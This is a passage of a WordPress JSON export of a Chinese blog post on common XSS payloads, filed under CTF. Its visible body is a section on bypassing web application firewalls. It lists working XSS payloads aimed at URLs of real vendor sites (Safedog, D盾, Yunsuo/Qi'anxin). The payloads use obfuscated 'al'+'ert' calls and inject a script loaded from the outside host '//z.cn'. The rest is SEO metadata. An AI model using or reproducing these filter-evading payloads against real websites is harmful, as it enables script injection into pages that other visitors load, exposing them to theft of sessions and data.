\u4e09\u3001\u7ed5\u8fc7 waf \u62e6\u622a<\/h1>\n\n\n\n\u5b89\u5168\u72d7<\/h3>\n\n\n\nhttp://www.safedog.cn\/index\/privateSolutionIndex.html?tab=2<video\/src\/onerror=top[`al`%2B`ert`](1);>\nhttp:\/\/www.safedog.cn\/index\/privateSolutionIndex.html?tab=2<video\/src\/onerror=appendChild(createElement(\"script\")).src=\"\/\/z.cn\"><\/code><\/pre>\n\n\n\nD\u76fe<\/h3>\n\n\n\nhttp://www.d99net.net\/News.asp?id=126<video\/src\/onloadstart=top[`al`%2B`ert`](1);>\nhttp:\/\/www.d99net.net\/News.asp?id=126<video\/src\/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`\/\/z.cn`);><\/code><\/pre>\n\n\n\n\u4e91\u9501+\u5947\u5b89\u4fe1 waf<\/h3>\n\n\n\nhttp://www.yunsuo.com.cn\/ht\/dynamic\/20190903\/259.html?id=1<video\/src\/onloadstart=top[`al`%2B`ert`](1);>\nhttp:\/\/www.yunsuo.com.cn\/ht\/dynamic\/20190903\/259.html?id=1<video\/src\/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`\/\/z.cn`);><\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"XSS\u8de8\u7ad9 0x01. <a> \u6807\u7b7e 0x02. <img>\u6807\u7b7e 0x03. < […]<\/p>\n","protected":false},"author":1,"featured_media":644,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-605","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf"],"yoast_head":"\n
\u5e38\u7528XSS - \u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/koishi.team\/index.php\/2025\/06\/27\/\u5e38\u7528xss\/\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u5e38\u7528XSS - \u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c\" \/>\n<meta property=\"og:description\" content=\"XSS\u8de8\u7ad9 0x01. <a> \u6807\u7b7e 0x02. <img>\u6807\u7b7e 0x03. < […]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/koishi.team\/index.php\/2025\/06\/27\/\u5e38\u7528xss\/\" \/>\n<meta property=\"og:site_name\" content=\"\u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c\" \/>\n<meta property=\"article:published_time\" content=\"2025-06-27T14:36:17+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-07-02T12:49:49+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/koishi.team\/wp-content\/uploads\/2025\/06\/7949f6cb5999c877c7a5104af560e65fc603f0eff47737c58b5963a31128760a-1024x576.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1024\" \/>\n\t<meta property=\"og:image:height\" content=\"576\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Speeder\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/koishi.team\/wp-content\/uploads\/2025\/05\/77992108_p0-1-scaled.jpg\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"Speeder\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2025\\\/06\\\/27\\\/%e5%b8%b8%e7%94%a8xss\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2025\\\/06\\\/27\\\/%e5%b8%b8%e7%94%a8xss\\\/\"},\"author\":{\"name\":\"Speeder\",\"@id\":\"https:\\\/\\\/koishi.team\\\/#\\\/schema\\\/person\\\/61a09d37ac9078d28245c5e1502a58c3\"},\"headline\":\"\u5e38\u7528XSS\",\"datePublished\":\"2025-06-27T14:36:17+00:00\",\"dateModified\":\"2025-07-02T12:49:49+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2025\\\/06\\\/27\\\/%e5%b8%b8%e7%94%a8xss\\\/\"},\"wordCount\":739,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/koishi.team\\\/#\\\/schema\\\/person\\\/61a09d37ac9078d28245c5e1502a58c3\"},\"image\":{\"@id\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2025\\\/06\\\/27\\\/%e5%b8%b8%e7%94%a8xss\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/koishi.team\\\/wp-content\\\/uploads\\\/2025\\\/06\\\/7949f6cb5999c877c7a5104af560e65fc603f0eff47737c58b5963a31128760a.jpg\",\"articleSection\":[\"CTF\"],\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/koishi.team\\\/index.php\\\/2025\\\/06\\\/27\\\/%e5%b8%b8%e7%94%a8xss\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2025\\\/06\\\/27\\\/%e5%b8%b8%e7%94%a8xss\\\/\",\"url\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2025\\\/06\\\/27\\\/%e5%b8%b8%e7%94%a8xss\\\/\",\"name\":\"\u5e38\u7528XSS - \u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/koishi.team\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2025\\\/06\\\/27\\\/%e5%b8%b8%e7%94%a8xss\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2025\\\/06\\\/27\\\/%e5%b8%b8%e7%94%a8xss\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/koishi.team\\\/wp-content\\\/uploads\\\/2025\\\/06\\\/7949f6cb5999c877c7a5104af560e65fc603f0eff47737c58b5963a31128760a.jpg\",\"datePublished\":\"2025-06-27T14:36:17+00:00\",\"dateModified\":\"2025-07-02T12:49:49+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2025\\\/06\\\/27\\\/%e5%b8%b8%e7%94%a8xss\\\/#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/koishi.team\\\/index.php\\\/2025\\\/06\\\/27\\\/%e5%b8%b8%e7%94%a8xss\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2025\\\/06\\\/27\\\/%e5%b8%b8%e7%94%a8xss\\\/#primaryimage\",\"url\":\"https:\\\/\\\/koishi.team\\\/wp-content\\\/uploads\\\/2025\\\/06\\\/7949f6cb5999c877c7a5104af560e65fc603f0eff47737c58b5963a31128760a.jpg\",\"contentUrl\":\"https:\\\/\\\/koishi.team\\\/wp-content\\\/uploads\\\/2025\\\/06\\\/7949f6cb5999c877c7a5104af560e65fc603f0eff47737c58b5963a31128760a.jpg\",\"width\":2560,\"height\":1440},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2025\\\/06\\\/27\\\/%e5%b8%b8%e7%94%a8xss\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/koishi.team\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u5e38\u7528XSS\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/koishi.team\\\/#website\",\"url\":\"https:\\\/\\\/koishi.team\\\/\",\"name\":\"\u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c\",\"description\":\"\u300cSubterranean Rose\u300d\",\"publisher\":{\"@id\":\"https:\\\/\\\/koishi.team\\\/#\\\/schema\\\/person\\\/61a09d37ac9078d28245c5e1502a58c3\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/koishi.team\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"zh-Hans\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\\\/\\\/koishi.team\\\/#\\\/schema\\\/person\\\/61a09d37ac9078d28245c5e1502a58c3\",\"name\":\"Speeder\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\\\/\\\/koishi.team\\\/wp-content\\\/uploads\\\/2025\\\/05\\\/75732553_p0-150x150.jpg\",\"url\":\"https:\\\/\\\/koishi.team\\\/wp-content\\\/uploads\\\/2025\\\/05\\\/75732553_p0-150x150.jpg\",\"contentUrl\":\"https:\\\/\\\/koishi.team\\\/wp-content\\\/uploads\\\/2025\\\/05\\\/75732553_p0-150x150.jpg\",\"caption\":\"Speeder\"},\"logo\":{\"@id\":\"https:\\\/\\\/koishi.team\\\/wp-content\\\/uploads\\\/2025\\\/05\\\/75732553_p0-150x150.jpg\"},\"sameAs\":[\"https:\\\/\\\/koishi.team\"],\"url\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/author\\\/speeder\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u5e38\u7528XSS - \u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/koishi.team\/index.php\/2025\/06\/27\/\u5e38\u7528xss\/","og_locale":"zh_CN","og_type":"article","og_title":"\u5e38\u7528XSS - \u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c","og_description":"XSS\u8de8\u7ad9 0x01. <a> \u6807\u7b7e 0x02. <img>\u6807\u7b7e 0x03. < […]","og_url":"https:\/\/koishi.team\/index.php\/2025\/06\/27\/\u5e38\u7528xss\/","og_site_name":"\u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c","article_published_time":"2025-06-27T14:36:17+00:00","article_modified_time":"2025-07-02T12:49:49+00:00","og_image":[{"width":1024,"height":576,"url":"https:\/\/koishi.team\/wp-content\/uploads\/2025\/06\/7949f6cb5999c877c7a5104af560e65fc603f0eff47737c58b5963a31128760a-1024x576.jpg","type":"image\/jpeg"}],"author":"Speeder","twitter_card":"summary_large_image","twitter_image":"https:\/\/koishi.team\/wp-content\/uploads\/2025\/05\/77992108_p0-1-scaled.jpg","twitter_misc":{"\u4f5c\u8005":"Speeder","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"12 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/koishi.team\/index.php\/2025\/06\/27\/%e5%b8%b8%e7%94%a8xss\/#article","isPartOf":{"@id":"https:\/\/koishi.team\/index.php\/2025\/06\/27\/%e5%b8%b8%e7%94%a8xss\/"},"author":{"name":"Speeder","@id":"https:\/\/koishi.team\/#\/schema\/person\/61a09d37ac9078d28245c5e1502a58c3"},"headline":"\u5e38\u7528XSS","datePublished":"2025-06-27T14:36:17+00:00","dateModified":"2025-07-02T12:49:49+00:00","mainEntityOfPage":{"@id":"https:\/\/koishi.team\/index.php\/2025\/06\/27\/%e5%b8%b8%e7%94%a8xss\/"},"wordCount":739,"commentCount":0,"publisher":{"@id":"https:\/\/koishi.team\/#\/schema\/person\/61a09d37ac9078d28245c5e1502a58c3"},"image":{"@id":"https:\/\/koishi.team\/index.php\/2025\/06\/27\/%e5%b8%b8%e7%94%a8xss\/#primaryimage"},"thumbnailUrl":"https:\/\/koishi.team\/wp-content\/uploads\/2025\/06\/7949f6cb5999c877c7a5104af560e65fc603f0eff47737c58b5963a31128760a.jpg","articleSection":["CTF"],"inLanguage":"zh-Hans","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/koishi.team\/index.php\/2025\/06\/27\/%e5%b8%b8%e7%94%a8xss\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/koishi.team\/index.php\/2025\/06\/27\/%e5%b8%b8%e7%94%a8xss\/","url":"https:\/\/koishi.team\/index.php\/2025\/06\/27\/%e5%b8%b8%e7%94%a8xss\/","name":"\u5e38\u7528XSS - \u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c","isPartOf":{"@id":"https:\/\/koishi.team\/#website"},"primaryImageOfPage":{"@id":"https:\/\/koishi.team\/index.php\/2025\/06\/27\/%e5%b8%b8%e7%94%a8xss\/#primaryimage"},"image":{"@id":"https:\/\/koishi.team\/index.php\/2025\/06\/27\/%e5%b8%b8%e7%94%a8xss\/#primaryimage"},"thumbnailUrl":"https:\/\/koishi.team\/wp-content\/uploads\/2025\/06\/7949f6cb5999c877c7a5104af560e65fc603f0eff47737c58b5963a31128760a.jpg","datePublished":"2025-06-27T14:36:17+00:00","dateModified":"2025-07-02T12:49:49+00:00","breadcrumb":{"@id":"https:\/\/koishi.team\/index.php\/2025\/06\/27\/%e5%b8%b8%e7%94%a8xss\/#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/koishi.team\/index.php\/2025\/06\/27\/%e5%b8%b8%e7%94%a8xss\/"]}]},{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/koishi.team\/index.php\/2025\/06\/27\/%e5%b8%b8%e7%94%a8xss\/#primaryimage","url":"https:\/\/koishi.team\/wp-content\/uploads\/2025\/06\/7949f6cb5999c877c7a5104af560e65fc603f0eff47737c58b5963a31128760a.jpg","contentUrl":"https:\/\/koishi.team\/wp-content\/uploads\/2025\/06\/7949f6cb5999c877c7a5104af560e65fc603f0eff47737c58b5963a31128760a.jpg","width":2560,"height":1440},{"@type":"BreadcrumbList","@id":"https:\/\/koishi.team\/index.php\/2025\/06\/27\/%e5%b8%b8%e7%94%a8xss\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/koishi.team\/"},{"@type":"ListItem","position":2,"name":"\u5e38\u7528XSS"}]},{"@type":"WebSite","@id":"https:\/\/koishi.team\/#website","url":"https:\/\/koishi.team\/","name":"\u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c","description":"\u300cSubterranean Rose\u300d","publisher":{"@id":"https:\/\/koishi.team\/#\/schema\/person\/61a09d37ac9078d28245c5e1502a58c3"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/koishi.team\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"zh-Hans"},{"@type":["Person","Organization"],"@id":"https:\/\/koishi.team\/#\/schema\/person\/61a09d37ac9078d28245c5e1502a58c3","name":"Speeder","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/koishi.team\/wp-content\/uploads\/2025\/05\/75732553_p0-150x150.jpg","url":"https:\/\/koishi.team\/wp-content\/uploads\/2025\/05\/75732553_p0-150x150.jpg","contentUrl":"https:\/\/koishi.team\/wp-content\/uploads\/2025\/05\/75732553_p0-150x150.jpg","caption":"Speeder"},"logo":{"@id":"https:\/\/koishi.team\/wp-content\/uploads\/2025\/05\/75732553_p0-150x150.jpg"},"sameAs":["https:\/\/koishi.team"],"url":"https:\/\/koishi.team\/index.php\/author\/speeder\/"}]}},"_links":{"self":[{"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/posts\/605","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/comments?post=605"}],"version-history":[{"count":4,"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/posts\/605\/revisions"}],"predecessor-version":[{"id":705,"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/posts\/605\/revisions\/705"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/media\/644"}],"wp:attachment":[{"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/media?parent=605"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/categories?post=605"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/tags?post=605"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}